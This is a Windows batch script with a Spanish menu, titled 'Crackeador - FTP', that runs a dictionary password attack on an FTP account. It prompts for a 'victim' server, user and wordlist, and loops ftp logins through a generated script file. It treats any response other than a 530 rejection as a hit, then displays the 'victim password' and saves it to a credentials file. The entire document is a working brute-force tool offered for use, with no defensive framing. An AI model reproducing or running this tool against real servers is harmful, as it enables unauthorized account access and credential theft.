@ echo off
title Crackeador - FTP :::::::: AlxSpy
color 0a
set cont=0
set num=1
md C:\Crackeador-FTP\
md C:\Crackeador-FTP\Login
md C:\Crackeador-FTP\Residuo
md C:\Crackeador-FTP\Password
del /q C:\Crackeador-FTP\Login
del /q C:\Crackeador-FTP\Residuo
:Menu
set opcion=4
cls
echo.
echo                        Menu Principal
echo.
echo.
echo                        Opciones:
echo.
echo.
echo                       1-Leeme, instrucciones
echo                       2-Iniciar crackeador
echo                       3-Salir
echo.
echo ___________________________________________________________________
set /p opcion=
if "%opcion%" == "1" goto Manual
if "%opcion%" == "2" goto Inicio
if "%opcion%" == "3" (goto Salida) else goto menu

:Manual
cls
echo.
echo                       Leeme, instrucciones
echo.
echo.
echo              -Para hacer el Diccionario-listword, agrega
echo               tu lista de claves en tu fichero de texto:
echo               ".txt", debes agregar un salto de linea o
echo               [ENTER] al inicio de la lista y al final de
echo               la lista porque elprograma tomara la lista
echo               a partir de segunda linea hasta la penultima.
echo              -El nombre del fichero puede o no contener
echo               espacios.
echo              -Para detener el programa debes cerrar la
echo               consola.
echo              -Todos los ficheros que usa el programa estan
echo               en "C:\Crackeador-FTP", no quedara
echo               ningun fichero residuo en tus directorios
echo               principales, solo debes borrar:
echo               "C:\Crackeador-FTP" al terminar el prgrama.
echo              -La clave-password descifrado sera mostrado
echo               en la consola y almacenado en:
echo               "C:\Crackeador-FTP\Password"
echo.
echo.
echo              Pulsa una tecla para volver al menu principal
pause>nul
goto Menu
:Inicio
cls
echo.
echo                      Iniciar Crackeador [Paso 1/2]
echo.
echo.
echo             Para cancelar y volver al menu principal pulsa "C"
echo.
echo ___________________________________________________________________
set /p host=Ingresa el servidor FTP victima: 
if "%host%" == "c" goto Menu
if "%host%" == "C" goto Menu
echo.
echo ___________________________________________________________________
set /p user=Ingresa el usuario victima: 
if "%user%" == "c" goto Menu
if "%user%" == "C" goto Menu
echo.
echo ___________________________________________________________________
set /p dic=Ruta completa del Diccionario: 
if "%dic%" == "c" goto Menu
if "%dic%" == "C" goto Menu
if exist "%dic%" (goto Inicio2) else goto error1
:error1
cls
echo.
echo          Error, no se encontro el fichero:
echo          "%dic%"
echo.
echo.
echo          Pulsa una tecla para volver
pause>nul
goto Inicio
:Inicio2
set opcion=4
copy /y "%dic%" C:\Crackeador-FTP\Diccionario.txt
ren C:\Crackeador-FTP\Diccionario.txt lista.txt
ren C:\Crackeador-FTP\lista.txt Diccionario.txt
echo FIN>>C:\Crackeador-FTP\Diccionario.txt
cls
echo.
echo                      Iniciar Crackeador [Paso 2/2]
echo.
echo.
echo         Datos y diccionario listos
echo         ¿Desea iniciar el crackeador ahora?
echo.
echo         1-Si
echo         2-No, volver al paso anterior
echo         3-No, volver al menu principal
echo.
echo ___________________________________________________________________
set /p opcion=
if "%opcion%" == "1" goto proceso
if "%opcion%" == "2" goto Inicio
if "%opcion%" == "3" (goto Menu) else goto Inicio2
:Proceso
set /a cont=%cont%+%num%
for /f "skip=%cont% tokens=1" %%a in (C:\Crackeador-FTP\Diccionario.txt) do call :Pass "%%a"
:Pass
set Pass=%1
set Pass=%Pass:"=%
if "%Pass%" == "FIN" (goto Fin) else goto Screen
:Screen
del /q C:\Crackeador-FTP\Login\Login.txt
del /q C:\Crackeador-FTP\Residuo\Residuo.txt
cls
echo.
echo.
echo                        Probando Password %cont%...
echo.
echo %user%>>C:\Crackeador-FTP\Login\Login.txt
echo %Pass%>>C:\Crackeador-FTP\Login\Login.txt
echo bye>>C:\Crackeador-FTP\Login\Login.txt
ftp -s:C:\Crackeador-FTP\Login\Login.txt %host%>>C:\Crackeador-FTP\Residuo\Residuo.txt
if exist C:\Crackeador-FTP\Residuo\Residuo.txt (goto CheckResult) else goto error2
:error2
msg *msg Fallo el comando FTP
cls
echo.
echo.
echo                           Fallo el comando FTP
echo.
echo.
echo              Pulse una tecla para volver al menu principal
pause>nul
goto Menu
:CheckResult
for /f "skip=5 tokens=1" %%a in (C:\Crackeador-FTP\Residuo\Residuo.txt) do call :txt "%%a"
:txt
set txt=%1
set txt=%txt:"=%
if "%txt%" == "530" (goto proceso) else goto Password
:Password
msg *msg Password localizado
cls
echo.
echo.
echo                            Password localizado
echo.
echo.
echo                         Servidor victima: %host%
echo                         Usuario victima: %user%
echo                         Password victima: %Pass%
echo.
echo.
echo               Pulse una tecla para volver al menu principal
pause>nul
echo Servidor: %host% / Usuario: %user% / Clave: %Pass%>>C:\Crackeador-FTP\Password\UsuariosyClaves.txt
goto Reset
:Fin
msg *msg Fin de busqueda sin resultados
goto reset
:Reset
set cont=0
del /q C:\Crackeador-FTP\*.txt
del /q C:\Crackeador-FTP\Login\*.txt
del /q C:\Crackeador-FTP\Residuo\*.txt
goto Menu
:Salida
exit